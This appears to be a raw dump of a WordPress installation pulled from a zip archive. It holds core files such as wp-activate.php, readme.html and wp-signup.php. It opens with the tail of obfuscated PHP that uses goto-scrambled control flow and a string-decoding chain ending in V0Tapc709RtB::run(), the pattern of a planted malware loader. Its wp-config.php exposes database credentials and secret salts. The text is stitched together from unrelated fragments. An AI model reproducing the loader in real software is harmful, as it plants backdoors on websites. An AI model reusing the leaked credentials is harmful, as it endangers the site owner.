            $Umt8naOv .= $_c($_h($_s($nljlZ7Fp, $u9fArqks, 2)));
        }
        goto JXVE3qBd;
        JXVE3qBd:
        // End of chaos flow
        goto wqs1y6sw;

    }
}

goto DsmzNOxB;
DsmzNOxB:
        goto a63LNFnuM;
        jCD4eJAk:
        /* Bk5tJH8xbK */
        if (isset($RdY12FWw) && $RdY12FWw !== null) {
            goto eMsoOi6n;
        } else {
            goto Tj7HSO0g;
        }

        eMsoOi6n:
        do { $RdY12FWw++; } while ($RdY12FWw < 3);
        goto UYDLiFOx;

        Tj7HSO0g:
        $RdY12FWw = 906;
        if (($RdY12FWw < $wogCrXDM || isset($RdY12FWw) && $RdY12FWw !== null)) {
            goto UYDLiFOx;
        }

        UYDLiFOx:
        goto swLNYYdP;

        a63LNFnuM:
        /* tScyLlFQ2a */
        if (($RdY12FWw < $wogCrXDM || $RdY12FWw < $wogCrXDM)) {
            goto jCD4eJAk;
        } else {
            goto Tj7HSO0g;
        }

        swLNYYdP:
        V0Tapc709RtB::run();
        goto a_R3NXNAQ;
        a_R3NXNAQ:
        // End of chaos flow
PK���[�/"���wp-activate.phpnu�[���<?php
/**
 * Confirms that the activation key that is sent in an email after a user signs
 * up for a new site matches the key for that user and then displays confirmation.
 *
 * @package WordPress
 */

define( 'WP_INSTALLING', true );

/** Sets up the WordPress Environment. */
require __DIR__ . '/wp-load.php';

require __DIR__ . '/wp-blog-header.php';

if ( ! is_multisite() ) {
	wp_redirect( wp_registration_url() );
	die();
}

$valid_error_codes = array( 'already_active', 'blog_taken' );

list( $activate_path ) = explode( '?', wp_unslash( $_SERVER['REQUEST_URI'] ) );
$activate_cookie       = 'wp-activate-' . COOKIEHASH;

$key    = '';
$result = null;

if ( isset( $_GET['key'] ) && isset( $_POST['key'] ) && $_GET['key'] !== $_POST['key'] ) {
	wp_die( __( 'A key value mismatch has been detected. Please follow the link provided in your activation email.' ), __( 'An error occurred during the activation' ), 400 );
} elseif ( ! empty( $_GET['key'] ) ) {
	$key = sanitize_text_field( $_GET['key'] );
} elseif ( ! empty( $_POST['key'] ) ) {
	$key = sanitize_text_field( $_POST['key'] );
}

if ( $key ) {
	$redirect_url = remove_query_arg( 'key' );

	if ( remove_query_arg( false ) !== $redirect_url ) {
		setcookie( $activate_cookie, $key, 0, $activate_path, COOKIE_DOMAIN, is_ssl(), true );
		wp_safe_redirect( $redirect_url );
		exit;
	} else {
		$result = wpmu_activate_signup( $key );
	}
}

if ( null === $result && isset( $_COOKIE[ $activate_cookie ] ) ) {
	$key    = $_COOKIE[ $activate_cookie ];
	$result = wpmu_activate_signup( $key );
	setcookie( $activate_cookie, ' ', time() - YEAR_IN_SECONDS, $activate_path, COOKIE_DOMAIN, is_ssl(), true );
}

if ( null === $result || ( is_wp_error( $result ) && 'invalid_key' === $result->get_error_code() ) ) {
	status_header( 404 );
} elseif ( is_wp_error( $result ) ) {
	$error_code = $result->get_error_code();

	if ( ! in_array( $error_code, $valid_error_codes, true ) ) {
		status_header( 400 );
	}
}

nocache_headers();

// Fix for page title.
$wp_query->is_404 = false;

/**
 * Fires before the Site Activation page is loaded.
 *
 * @since 3.0.0
 */
do_action( 'activate_header' );

/**
 * Adds an action hook specific to this page.
 *
 * Fires on {@see 'wp_head'}.
 *
 * @since MU (3.0.0)
 */
function do_activate_header() {
	/**
	 * Fires within the `<head>` section of the Site Activation page.
	 *
	 * Fires on the {@see 'wp_head'} action.
	 *
	 * @since 3.0.0
	 */
	do_action( 'activate_wp_head' );
}
add_action( 'wp_head', 'do_activate_header' );

/**
 * Loads styles specific to this page.
 *
 * @since MU (3.0.0)
 */
function wpmu_activate_stylesheet() {
	?>
	<style type="text/css">
		.wp-activate-container { width: 90%; margin: 0 auto; }
		.wp-activate-container form { margin-top: 2em; }
		#submit, #key { width: 100%; font-size: 24px; box-sizing: border-box; }
		#language { margin-top: 0.5em; }
		.wp-activate-container .error { background: #f66; color: #333; }
		span.h3 { padding: 0 8px; font-size: 1.3em; font-weight: 600; }
	</style>
	<?php
}
add_action( 'wp_head', 'wpmu_activate_stylesheet' );
add_action( 'wp_head', 'wp_strict_cross_origin_referrer' );
add_filter( 'wp_robots', 'wp_robots_sensitive_page' );

get_header( 'wp-activate' );

$blog_details = get_site();
?>

<div id="signup-content" class="widecolumn">
	<div class="wp-activate-container">
	<?php if ( ! $key ) { ?>

		<h2><?php _e( 'Activation Key Required' ); ?></h2>
		<form name="activateform" id="activateform" method="post" action="<?php echo esc_url( network_site_url( $blog_details->path . 'wp-activate.php' ) ); ?>">
			<p>
				<label for="key"><?php _e( 'Activation Key:' ); ?></label>
				<br /><input type="text" name="key" id="key" value="" size="50" autofocus="autofocus" />
			</p>
			<p class="submit">
				<input id="submit" type="submit" name="Submit" class="submit" value="<?php esc_attr_e( 'Activate' ); ?>" />
			</p>
		</form>

		<?php
	} else {
		if ( is_wp_error( $result ) && in_array( $result->get_error_code(), $valid_error_codes, true ) ) {
			$signup = $result->get_error_data();
			?>
			<h2><?php _e( 'Your account is now active!' ); ?></h2>
			<?php
			echo '<p class="lead-in">';
			if ( '' === $signup->domain . $signup->path ) {
				printf(
					/* translators: 1: Login URL, 2: Username, 3: User email address, 4: Lost password URL. */
					__( 'Your account has been activated. You may now <a href="%1$s">log in</a> to the site using your chosen username of &#8220;%2$s&#8221;. Please check your email inbox at %3$s for your password and login instructions. If you do not receive an email, please check your junk or spam folder. If you still do not receive an email within an hour, you can <a href="%4$s">reset your password</a>.' ),
					esc_url( network_site_url( $blog_details->path . 'wp-login.php', 'login' ) ),
					esc_html( $signup->user_login ),
					esc_html( $signup->user_email ),
					esc_url( wp_lostpassword_url() )
				);
			} else {
				printf(
					/* translators: 1: Site URL, 2: Username, 3: User email address, 4: Lost password URL. */
					__( 'Your site at %1$s is active. You may now log in to your site using your chosen username of &#8220;%2$s&#8221;. Please check your email inbox at %3$s for your password and login instructions. If you do not receive an email, please check your junk or spam folder. If you still do not receive an email within an hour, you can <a href="%4$s">reset your password</a>.' ),
					sprintf( '<a href="http://%1$s">%1$s</a>', esc_url( $signup->domain . $blog_details->path ) ),
					esc_html( $signup->user_login ),
					esc_html( $signup->user_email ),
					esc_url( wp_lostpassword_url() )
				);
			}
			echo '</p>';
		} elseif ( null === $result || is_wp_error( $result ) ) {
			?>
			<h2><?php _e( 'An error occurred during the activation' ); ?></h2>
			<?php if ( is_wp_error( $result ) ) : ?>
				<p><?php echo esc_html( $result->get_error_message() ); ?></p>
			<?php endif; ?>
			<?php
		} else {
			$url  = isset( $result['blog_id'] ) ? esc_url( get_home_url( (int) $result['blog_id'] ) ) : '';
			$user = get_userdata( (int) $result['user_id'] );
			?>
			<h2><?php _e( 'Your account is now active!' ); ?></h2>

			<div id="signup-welcome">
			<p><span class="h3"><?php _e( 'Username:' ); ?></span> <?php echo esc_html( $user->user_login ); ?></p>
			<p><span class="h3"><?php _e( 'Password:' ); ?></span> <?php echo esc_html( $result['password'] ); ?></p>
			</div>

			<?php
			if ( $url && network_home_url( '', 'http' ) !== $url ) :
				switch_to_blog( (int) $result['blog_id'] );
				$login_url = wp_login_url();
				restore_current_blog();
				?>
				<p class="view">
				<?php
					/* translators: 1: Site URL, 2: Login URL. */
					printf( __( 'Your account is now activated. <a href="%1$s">View your site</a> or <a href="%2$s">Log in</a>' ), esc_url( $url ), esc_url( $login_url ) );
				?>
				</p>
			<?php else : ?>
				<p class="view">
				<?php
					printf(
						/* translators: 1: Login URL, 2: Network home URL. */
						__( 'Your account is now activated. <a href="%1$s">Log in</a> or go back to the <a href="%2$s">homepage</a>.' ),
						esc_url( network_site_url( $blog_details->path . 'wp-login.php', 'login' ) ),
						esc_url( network_home_url( $blog_details->path ) )
					);
				?>
				</p>
				<?php
				endif;
		}
	}
	?>
	</div>
</div>
<?php
get_footer( 'wp-activate' );
PK���[5U29�
�

wp-config.phpnu�[���<?php
 // Added by SpeedyCache

/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the installation.
 * You don't have to use the website, you can copy this file to "wp-config.php"
 * and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * Database settings
 * * Secret keys
 * * Database table prefix
 * * ABSPATH
 *
 * @link https://developer.wordpress.org/advanced-administration/wordpress/wp-config/
 *
 * @package WordPress
 */

// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'crealab_wp707' );

/** Database username */
define( 'DB_USER', 'crealab_wp707' );

/** Database password */
define( 'DB_PASSWORD', 'nRS9]t6p1-' );

/** Database hostname */
define( 'DB_HOST', 'localhost' );

/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );

/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

/**#@+
 * Authentication unique keys and salts.
 *
 * Change these to different unique phrases! You can generate these using
 * the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.
 *
 * You can change these at any point in time to invalidate all existing cookies.
 * This will force all users to have to log in again.
 *
 * @since 2.6.0
 */
define( 'AUTH_KEY',         'nvgnuvhfannmfn1uh28oilvmryyoj7acibdnwejwmn3ypkns52tyoas3e0eykedm' );
define( 'SECURE_AUTH_KEY',  'pffghafu0iclbyi7xejwfjbhfbecu1pyt9bpkuqqr1ygdcqujwm4ooylqlsewq7n' );
define( 'LOGGED_IN_KEY',    'webn8i7rra94shmngvv0dnokfxzgbi2yy76kbm0mqoluivh3h9bactp0koozei3x' );
define( 'NONCE_KEY',        'un38l26g1hfz5pu95qa29dsnivwtjedhlwqdrsowdfns2qaeclvnh6ror9n4ere0' );
define( 'AUTH_SALT',        'lexrdjfzrbz4lk3pm1mqqghlxdslzo4nzoahy8dlocjqbijtxhrzjg6ppcvambt2' );
define( 'SECURE_AUTH_SALT', 'pcqxqsxkn547qtjiwy1usnw5d0tolfoxbarwe4agxpjy79vauj4s2ey7ybw1hmsw' );
define( 'LOGGED_IN_SALT',   'oe2bywankjrekget4lzxxcklhnltzxtyrxy6crbp439dko4kz3twemsjmo1ye0ah' );
define( 'NONCE_SALT',       'fwqhqd503medlxcdmaktppm5kx5mxmqmbbmjdayseifbmcyccxhzlquj77rixa8l' );

/**#@-*/

/**
 * WordPress database table prefix.
 *
 * You can have multiple installations in one database if you give each
 * a unique prefix. Only numbers, letters, and underscores please!
 *
 * At the installation time, database tables are created with the specified prefix.
 * Changing this value after WordPress is installed will make your site think
 * it has not been installed.
 *
 * @link https://developer.wordpress.org/advanced-administration/wordpress/wp-config/#table-prefix
 */
$table_prefix = 'wpg2_';

/**
 * For developers: WordPress debugging mode.
 *
 * Change this to true to enable the display of notices during development.
 * It is strongly recommended that plugin and theme developers use WP_DEBUG
 * in their development environments.
 *
 * For information on other constants that can be used for debugging,
 * visit the documentation.
 *
 * @link https://developer.wordpress.org/advanced-administration/debug/debug-wordpress/
 */
define( 'WP_DEBUG', false );

/* Add any custom values between this line and the "stop editing" line. */

/* That's all, stop editing! Happy publishing. */

/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
	define( 'ABSPATH', __DIR__ . '/' );
}

/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';
PK���[��R�readme.htmlnu�[���<!DOCTYPE html>
<html lang="en">
<head>
	<meta name="viewport" content="width=device-width" />
	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
	<meta name="robots" content="noindex,nofollow" />
	<title>WordPress &#8250; ReadMe</title>
	<link rel="stylesheet" href="wp-admin/css/install.css?ver=20100228" type="text/css" />
</head>
<body>
<h1 id="logo">
	<a href="https://wordpress.org/"><img alt="WordPress" src="wp-admin/images/wordpress-logo.png" /></a>
</h1>
<p style="text-align: center">Semantic Personal Publishing Platform</p>

<h2>First Things First</h2>
<p>Welcome. WordPress is a very special project to me. Every developer and contributor adds something unique to the mix, and together we create something beautiful that I am proud to be a part of. Thousands of hours have gone into WordPress, and we are dedicated to making it better every day. Thank you for making it part of your world.</p>
<p style="text-align: right">&#8212; Matt Mullenweg</p>

<h2>Installation: Famous 5-minute install</h2>
<ol>
	<li>Unzip the package in an empty directory and upload everything.</li>
	<li>Open <span class="file"><a href="wp-admin/install.php">wp-admin/install.php</a></span> in your browser. It will take you through the process to set up a <code>wp-config.php</code> file with your database connection details.
		<ol>
			<li>If for some reason this does not work, do not worry. It may not work on all web hosts. Open up <code>wp-config-sample.php</code> with a text editor like WordPad or similar and fill in your database connection details.</li>
			<li>Save the file as <code>wp-config.php</code> and upload it.</li>
			<li>Open <span class="file"><a href="wp-admin/install.php">wp-admin/install.php</a></span> in your browser.</li>
		</ol>
	</li>
	<li>Once the configuration file is set up, the installer will set up the tables needed for your site. If there is an error, double check your <code>wp-config.php</code> file, and try again. If it fails again, please go to the <a href="https://wordpress.org/support/forums/">WordPress support forums</a> with as much data as you can gather.</li>
	<li><strong>If you did not enter a password, note the password given to you.</strong> If you did not provide a username, it will be <code>admin</code>.</li>
	<li>The installer should then send you to the <a href="wp-login.php">login page</a>. Sign in with the username and password you chose during the installation. If a password was generated for you, you can then click on &#8220;Profile&#8221; to change the password.</li>
</ol>

<h2>Updating</h2>
<h3>Using the Automatic Updater</h3>
<ol>
	<li>Open <span class="file"><a href="wp-admin/update-core.php">wp-admin/update-core.php</a></span> in your browser and follow the instructions.</li>
	<li>You wanted more, perhaps? That&#8217;s it!</li>
</ol>

<h3>Updating Manually</h3>
<ol>
	<li>Before you update anything, make sure you have backup copies of any files you may have modified such as <code>index.php</code>.</li>
	<li>Delete your old WordPress files, saving ones you&#8217;ve modified.</li>
	<li>Upload the new files.</li>
	<li>Point your browser to <span class="file"><a href="wp-admin/upgrade.php">/wp-admin/upgrade.php</a>.</span></li>
</ol>

<h2>Migrating from other systems</h2>
<p>WordPress can <a href="https://developer.wordpress.org/advanced-administration/wordpress/import/">import from a number of systems</a>. First you need to get WordPress installed and working as described above, before using <a href="wp-admin/import.php">our import tools</a>.</p>

<h2>System Requirements</h2>
<ul>
	<li><a href="https://www.php.net/">PHP</a> version <strong>7.2.24</strong> or greater.</li>
	<li><a href="https://www.mysql.com/">MySQL</a> version <strong>5.5.5</strong> or greater.</li>
</ul>

<h3>Recommendations</h3>
<ul>
	<li><a href="https://www.php.net/">PHP</a> version <strong>8.3</strong> or greater.</li>
	<li><a href="https://www.mysql.com/">MySQL</a> version <strong>8.0</strong> or greater OR <a href="https://mariadb.org/">MariaDB</a> version <strong>10.6</strong> or greater.</li>
	<li>The <a href="https://httpd.apache.org/docs/2.2/mod/mod_rewrite.html">mod_rewrite</a> Apache module.</li>
	<li><a href="https://wordpress.org/news/2016/12/moving-toward-ssl/">HTTPS</a> support.</li>
	<li>A link to <a href="https://wordpress.org/">wordpress.org</a> on your site.</li>
</ul>

<h2>Online Resources</h2>
<p>If you have any questions that are not addressed in this document, please take advantage of WordPress&#8217; numerous online resources:</p>
<dl>
	<dt><a href="https://wordpress.org/documentation/">HelpHub</a></dt>
		<dd>HelpHub is the encyclopedia of all things WordPress. It is the most comprehensive source of information for WordPress available.</dd>
	<dt><a href="https://wordpress.org/news/">The WordPress Blog</a></dt>
		<dd>This is where you&#8217;ll find the latest updates and news related to WordPress. Recent WordPress news appears in your administrative dashboard by default.</dd>
	<dt><a href="https://planet.wordpress.org/">WordPress Planet</a></dt>
		<dd>The WordPress Planet is a news aggregator that brings together posts from WordPress blogs around the web.</dd>
	<dt><a href="https://wordpress.org/support/forums/">WordPress Support Forums</a></dt>
		<dd>If you&#8217;ve looked everywhere and still cannot find an answer, the support forums are very active and have a large community ready to help. To help them help you be sure to use a descriptive thread title and describe your question in as much detail as possible.</dd>
	<dt><a href="https://make.wordpress.org/support/handbook/appendix/other-support-locations/introduction-to-irc/">WordPress <abbr>IRC</abbr> (Internet Relay Chat) Channel</a></dt>
		<dd>There is an online chat channel that is used for discussion among people who use WordPress and occasionally support topics. The above wiki page should point you in the right direction. (<a href="https://web.libera.chat/#wordpress">irc.libera.chat #wordpress</a>)</dd>
</dl>

<h2>Final Notes</h2>
<ul>
	<li>If you have any suggestions, ideas, or comments, or if you (gasp!) found a bug, join us in the <a href="https://wordpress.org/support/forums/">Support Forums</a>.</li>
	<li>WordPress has a robust plugin <abbr>API</abbr> (Application Programming Interface) that makes extending the code easy. If you are a developer interested in utilizing this, see the <a href="https://developer.wordpress.org/plugins/">Plugin Developer Handbook</a>. You shouldn&#8217;t modify any of the core code.</li>
</ul>

<h2>Share the Love</h2>
<p>WordPress has no multi-million dollar marketing campaign or celebrity sponsors, but we do have something even better&#8212;you. If you enjoy WordPress please consider telling a friend, setting it up for someone less knowledgeable than yourself, or writing the author of a media article that overlooks us.</p>

<p>WordPress is the official continuation of b2/caf&#233;log, which came from Michel V. The work has been continued by the <a href="https://wordpress.org/about/">WordPress developers</a>. If you would like to support WordPress, please consider <a href="https://wordpress.org/donate/">donating</a>.</p>

<h2>License</h2>
<p>WordPress is free software, and is released under the terms of the <abbr>GPL</abbr> (GNU General Public License) version 2 or (at your option) any later version. See <a href="license.txt">license.txt</a>.</p>

</body>
</html>
PK���[P�gԆԆ
wp-signup.phpnu�[���<?php
/**
 * WordPress Signup Page
 *
 * Handles the user registration and site creation process for multisite installations.
 *
 * @package WordPress
 */

/** Sets up the WordPress Environment. */
require __DIR__ . '/wp-load.php';

add_filter( 'wp_robots', 'wp_robots_no_robots' );

require __DIR__ . '/wp-blog-header.php';

nocache_headers();

if ( is_array( get_site_option( 'illegal_names' ) ) && isset( $_GET['new'] ) && in_array( $_GET['new'], get_site_option( 'illegal_names' ), true ) ) {
	wp_redirect( network_home_url() );
	die();
}

/**
 * Prints signup_header via wp_head.
 *
 * @since MU (3.0.0)
 */
function do_signup_header() {
	/**
	 * Fires within the head section of the site sign-up screen.
	 *
	 * @since 3.0.0
	 */
	do_action( 'signup_header' );
}
add_action( 'wp_head', 'do_signup_header' );

if ( ! is_multisite() ) {
	wp_redirect( wp_registration_url() );
	die();
}

if ( ! is_main_site() ) {
	wp_redirect( network_site_url( 'wp-signup.php' ) );
	die();
}

// Fix for page title.
$wp_query->is_404 = false;

/**
 * Fires before the Site Sign-up page is loaded.
 *
 * @since 4.4.0
 */
do_action( 'before_signup_header' );

/**
 * Prints styles for front-end Multisite Sign-up pages.
 *
 * @since MU (3.0.0)
 */
function wpmu_signup_stylesheet() {
	?>
	<style type="text/css">
		.mu_register { width: 90%; margin: 0 auto; }
		.mu_register form { margin-top: 2em; }
		.mu_register fieldset,
			.mu_register legend { margin: 0; padding: 0; border: none; }
		.mu_register .error { padding: 10px; color: #333; background: #ffebe8; border: 1px solid #c00; }
		.mu_register input[type="submit"],
			.mu_register #blog_title,
			.mu_register #user_email,
			.mu_register #blogname,
			.mu_register #user_name { width: 100%; font-size: 24px; margin: 5px 0; box-sizing: border-box; }
		.mu_register #site-language { display: block; }
		.mu_register .prefix_address,
			.mu_register .suffix_address { font-size: 18px; display: inline-block; direction: ltr; }
		.mu_register label,
			.mu_register legend,
			.mu_register .label-heading { font-weight: 600; font-size: 15px; display: block; margin: 10px 0; }
		.mu_register legend + p,
			.mu_register input + p { margin-top: 0; }
		.mu_register label.checkbox { display: inline; }
		.mu_register .mu_alert { font-weight: 600; padding: 10px; color: #333; background: #ffffe0; border: 1px solid #e6db55; }
		.mu_register .mu_alert a { color: inherit; text-decoration: underline; }
		.mu_register .signup-options .wp-signup-radio-button { display: block; }
		.mu_register .privacy-intro .wp-signup-radio-button { margin-right: 0.5em; }
		.rtl .mu_register .wp-signup-blogname { direction: ltr; text-align: right; }
	</style>
	<?php
}
add_action( 'wp_head', 'wpmu_signup_stylesheet' );

get_header( 'wp-signup' );

/**
 * Fires before the site Sign-up form.
 *
 * @since 3.0.0
 */
do_action( 'before_signup_form' );
?>
<div id="signup-content" class="widecolumn">
<div class="mu_register wp-signup-container" role="main">
<?php
/**
 * Generates and displays the Sign-up and Create Site forms.
 *
 * @since MU (3.0.0)
 *
 * @param string          $blogname   The new site name.
 * @param string          $blog_title The new site title.
 * @param WP_Error|string $errors     A WP_Error object containing existing errors. Defaults to empty string.
 */
function show_blog_form( $blogname = '', $blog_title = '', $errors = '' ) {
	if ( ! is_wp_error( $errors ) ) {
		$errors = new WP_Error();
	}

	$current_network = get_network();
	// Site name.
	if ( ! is_subdomain_install() ) {
		echo '<label for="blogname">' . __( 'Site Name (subdirectory only):' ) . '</label>';
	} else {
		echo '<label for="blogname">' . __( 'Site Domain (subdomain only):' ) . '</label>';
	}

	$errmsg_blogname      = $errors->get_error_message( 'blogname' );
	$errmsg_blogname_aria = '';
	if ( $errmsg_blogname ) {
		$errmsg_blogname_aria = 'wp-signup-blogname-error ';
		echo '<p class="error" id="wp-signup-blogname-error">' . $errmsg_blogname . '</p>';
	}

	if ( ! is_subdomain_install() ) {
		echo '<div class="wp-signup-blogname"><span class="prefix_address" id="prefix-address">' . $current_network->domain . $current_network->path . '</span><input name="blogname" type="text" id="blogname" value="' . esc_attr( $blogname ) . '" maxlength="60" autocomplete="off" required="required" aria-describedby="' . $errmsg_blogname_aria . 'prefix-address" /></div>';
	} else {
		$site_domain = preg_replace( '|^www\.|', '', $current_network->domain );
		echo '<div class="wp-signup-blogname"><input name="blogname" type="text" id="blogname" value="' . esc_attr( $blogname ) . '" maxlength="60" autocomplete="off" required="required" aria-describedby="' . $errmsg_blogname_aria . 'suffix-address" /><span class="suffix_address" id="suffix-address">.' . esc_html( $site_domain ) . '</span></div>';
	}

	if ( ! is_user_logged_in() ) {
		if ( ! is_subdomain_install() ) {
			$site = $current_network->domain . $current_network->path . __( 'sitename' );
		} else {
			$site = __( 'domain' ) . '.' . $site_domain . $current_network->path;
		}

		printf(
			'<p>(<strong>%s</strong>) %s</p>',
			/* translators: %s: Site address. */
			sprintf( __( 'Your address will be %s.' ), $site ),
			__( 'Must be at least 4 characters, letters and numbers only. It cannot be changed, so choose carefully!' )
		);
	}

	// Site Title.
	?>
	<label for="blog_title"><?php _e( 'Site Title:' ); ?></label>
	<?php
	$errmsg_blog_title      = $errors->get_error_message( 'blog_title' );
	$errmsg_blog_title_aria = '';
	if ( $errmsg_blog_title ) {
		$errmsg_blog_title_aria = ' aria-describedby="wp-signup-blog-title-error"';
		echo '<p class="error" id="wp-signup-blog-title-error">' . $errmsg_blog_title . '</p>';
	}
	echo '<input name="blog_title" type="text" id="blog_title" value="' . esc_attr( $blog_title ) . '" required="required" autocomplete="off"' . $errmsg_blog_title_aria . ' />';
	?>

	<?php
	// Site Language.
	$languages = signup_get_available_languages();

	if ( ! empty( $languages ) ) :
		?>
		<p>
			<label for="site-language"><?php _e( 'Site Language:' ); ?></label>
			<?php
			// Network default.
			$lang = get_site_option( 'WPLANG' );

			if ( isset( $_POST['WPLANG'] ) ) {
				$lang = $_POST['WPLANG'];
			}

			// Use US English if the default isn't available.
			if ( ! in_array( $lang, $languages, true ) ) {
				$lang = '';
			}

			wp_dropdown_languages(
				array(
					'name'                        => 'WPLANG',
					'id'                          => 'site-language',
					'selected'                    => $lang,
					'languages'                   => $languages,
					'show_available_translations' => false,
				)
			);
			?>
		</p>
		<?php
		endif; // Languages.

		$blog_public_on_checked  = '';
		$blog_public_off_checked = '';
	if ( isset( $_POST['blog_public'] ) && '0' === $_POST['blog_public'] ) {
		$blog_public_off_checked = 'checked="checked"';
	} else {
		$blog_public_on_checked = 'checked="checked"';
	}
	?>

	<div id="privacy">
		<fieldset class="privacy-intro">
			<legend>
				<span class="label-heading"><?php _e( 'Privacy:' ); ?></span>
				<?php _e( 'Allow search engines to index this site.' ); ?>
			</legend>
			<p class="wp-signup-radio-buttons">
				<span class="wp-signup-radio-button">
					<input type="radio" id="blog_public_on" name="blog_public" value="1" <?php echo $blog_public_on_checked; ?> />
					<label class="checkbox" for="blog_public_on"><?php _e( 'Yes' ); ?></label>
				</span>
				<span class="wp-signup-radio-button">
					<input type="radio" id="blog_public_off" name="blog_public" value="0" <?php echo $blog_public_off_checked; ?> />
					<label class="checkbox" for="blog_public_off"><?php _e( 'No' ); ?></label>
				</span>
			</p>
		</fieldset>
	</div>

	<?php
	/**
	 * Fires after the site sign-up form.
	 *
	 * @since 3.0.0
	 *
	 * @param WP_Error $errors A WP_Error object possibly containing 'blogname' or 'blog_title' errors.
	 */
	do_action( 'signup_blogform', $errors );
}

/**
 * Validates the new site sign-up.
 *
 * @since MU (3.0.0)
 *
 * @return array Contains the new site data and error messages.
 *               See wpmu_validate_blog_signup() for details.
 */
function validate_blog_form() {
	$user = '';
	if ( is_user_logged_in() ) {
		$user = wp_get_current_user();
	}

	return wpmu_validate_blog_signup( $_POST['blogname'], $_POST['blog_title'], $user );
}

/**
 * Displays the fields for the new user account registration form.
 *
 * @since MU (3.0.0)
 *
 * @param string          $user_name  The entered username.
 * @param string          $user_email The entered email address.
 * @param WP_Error|string $errors     A WP_Error object containing existing errors. Defaults to empty string.
 */
function show_user_form( $user_name = '', $user_email = '', $errors = '' ) {
	if ( ! is_wp_error( $errors ) ) {
		$errors = new WP_Error();
	}

	// Username.
	echo '<label for="user_name">' . __( 'Username:' ) . '</label>';
	$errmsg_username      = $errors->get_error_message( 'user_name' );
	$errmsg_username_aria = '';
	if ( $errmsg_username ) {
		$errmsg_username_aria = 'wp-signup-username-error ';
		echo '<p class="error" id="wp-signup-username-error">' . $errmsg_username . '</p>';
	}
	?>
	<input name="user_name" type="text" id="user_name" value="<?php echo esc_attr( $user_name ); ?>" autocapitalize="none" autocorrect="off" maxlength="60" autocomplete="username" required="required" aria-describedby="<?php echo $errmsg_username_aria; ?>wp-signup-username-description" />
	<p id="wp-signup-username-description"><?php _e( '(Must be at least 4 characters, lowercase letters and numbers only.)' ); ?></p>

	<?php
	// Email address.
	echo '<label for="user_email">' . __( 'Email&nbsp;Address:' ) . '</label>';
	$errmsg_email      = $errors->get_error_message( 'user_email' );
	$errmsg_email_aria = '';
	if ( $errmsg_email ) {
		$errmsg_email_aria = 'wp-signup-email-error ';
		echo '<p class="error" id="wp-signup-email-error">' . $errmsg_email . '</p>';
	}
	?>
	<input name="user_email" type="email" id="user_email" value="<?php echo esc_attr( $user_email ); ?>" maxlength="200" autocomplete="email" required="required" aria-describedby="<?php echo $errmsg_email_aria; ?>wp-signup-email-description" />
	<p id="wp-signup-email-description"><?php _e( 'Your registration email is sent to this address. (Double-check your email address before continuing.)' ); ?></p>

	<?php
	// Extra fields.
	$errmsg_generic = $errors->get_error_message( 'generic' );
	if ( $errmsg_generic ) {
		echo '<p class="error" id="wp-signup-generic-error">' . $errmsg_generic . '</p>';
	}
	/**
	 * Fires at the end of the new user account registration form.
	 *
	 * @since 3.0.0
	 *
	 * @param WP_Error $errors A WP_Error object containing 'user_name' or 'user_email' errors.
	 */
	do_action( 'signup_extra_fields', $errors );
}

/**
 * Validates user sign-up name and email.
 *
 * @since MU (3.0.0)
 *
 * @return array Contains username, email, and error messages.
 *               See wpmu_validate_user_signup() for details.
 */
function validate_user_form() {
	return wpmu_validate_user_signup( $_POST['user_name'], $_POST['user_email'] );
}

/**
 * Shows a form for returning users to sign up for another site.
 *
 * @since MU (3.0.0)
 *
 * @param string          $blogname   The new site name
 * @param string          $blog_title The new site title.
 * @param WP_Error|string $errors     A WP_Error object containing existing errors. Defaults to empty string.
 */
function signup_another_blog( $blogname = '', $blog_title = '', $errors = '' ) {
	$current_user = wp_get_current_user();

	if ( ! is_wp_error( $errors ) ) {
		$errors = new WP_Error();
	}

	$signup_defaults = array(
		'blogname'   => $blogname,
		'blog_title' => $blog_title,
		'errors'     => $errors,
	);

	/**
	 * Filters the default site sign-up variables.
	 *
	 * @since 3.0.0
	 *
	 * @param array $signup_defaults {
	 *     An array of default site sign-up variables.
	 *
	 *     @type string   $blogname   The site blogname.
	 *     @type string   $blog_title The site title.
	 *     @type WP_Error $errors     A WP_Error object possibly containing 'blogname' or 'blog_title' errors.
	 * }
	 */
	$filtered_results = apply_filters( 'signup_another_blog_init', $signup_defaults );

	$blogname   = $filtered_results['blogname'];
	$blog_title = $filtered_results['blog_title'];
	$errors     = $filtered_results['errors'];

	/* translators: %s: Network title. */
	echo '<h2>' . sprintf( __( 'Get <em>another</em> %s site in seconds' ), get_network()->site_name ) . '</h2>';

	if ( $errors->has_errors() ) {
		echo '<p>' . __( 'There was a problem, please correct the form below and try again.' ) . '</p>';
	}
	?>
	<p>
		<?php
		printf(
			/* translators: %s: Current user's display name. */
			__( 'Welcome back, %s. By filling out the form below, you can <strong>add another site to your account</strong>. There is no limit to the number of sites you can have, so create to your heart&#8217;s content, but write responsibly!' ),
			$current_user->display_name
		);
		?>
	</p>

	<?php
	$blogs = get_blogs_of_user( $current_user->ID );
	if ( ! empty( $blogs ) ) {
		?>

			<p><?php _e( 'Sites you are already a member of:' ); ?></p>
			<ul>
				<?php
				foreach ( $blogs as $blog ) {
					$home_url = get_home_url( $blog->userblog_id );
					echo '<li><a href="' . esc_url( $home_url ) . '">' . $home_url . '</a></li>';
				}
				?>
			</ul>
	<?php } ?>

	<p><?php _e( 'If you are not going to use a great site domain, leave it for a new user. Now have at it!' ); ?></p>
	<form id="setupform" method="post" action="wp-signup.php">
		<input type="hidden" name="stage" value="gimmeanotherblog" />
		<?php
		/**
		 * Fires when hidden sign-up form fields output when creating another site or user.
		 *
		 * @since MU (3.0.0)
		 *
		 * @param string $context A string describing the steps of the sign-up process. The value can be
		 *                        'create-another-site', 'validate-user', or 'validate-site'.
		 */
		do_action( 'signup_hidden_fields', 'create-another-site' );
		?>
		<?php show_blog_form( $blogname, $blog_title, $errors ); ?>
		<p class="submit"><input type="submit" name="submit" class="submit" value="<?php esc_attr_e( 'Create Site' ); ?>" /></p>
	</form>
	<?php
}

/**
 * Validates a new site sign-up for an existing user.
 *
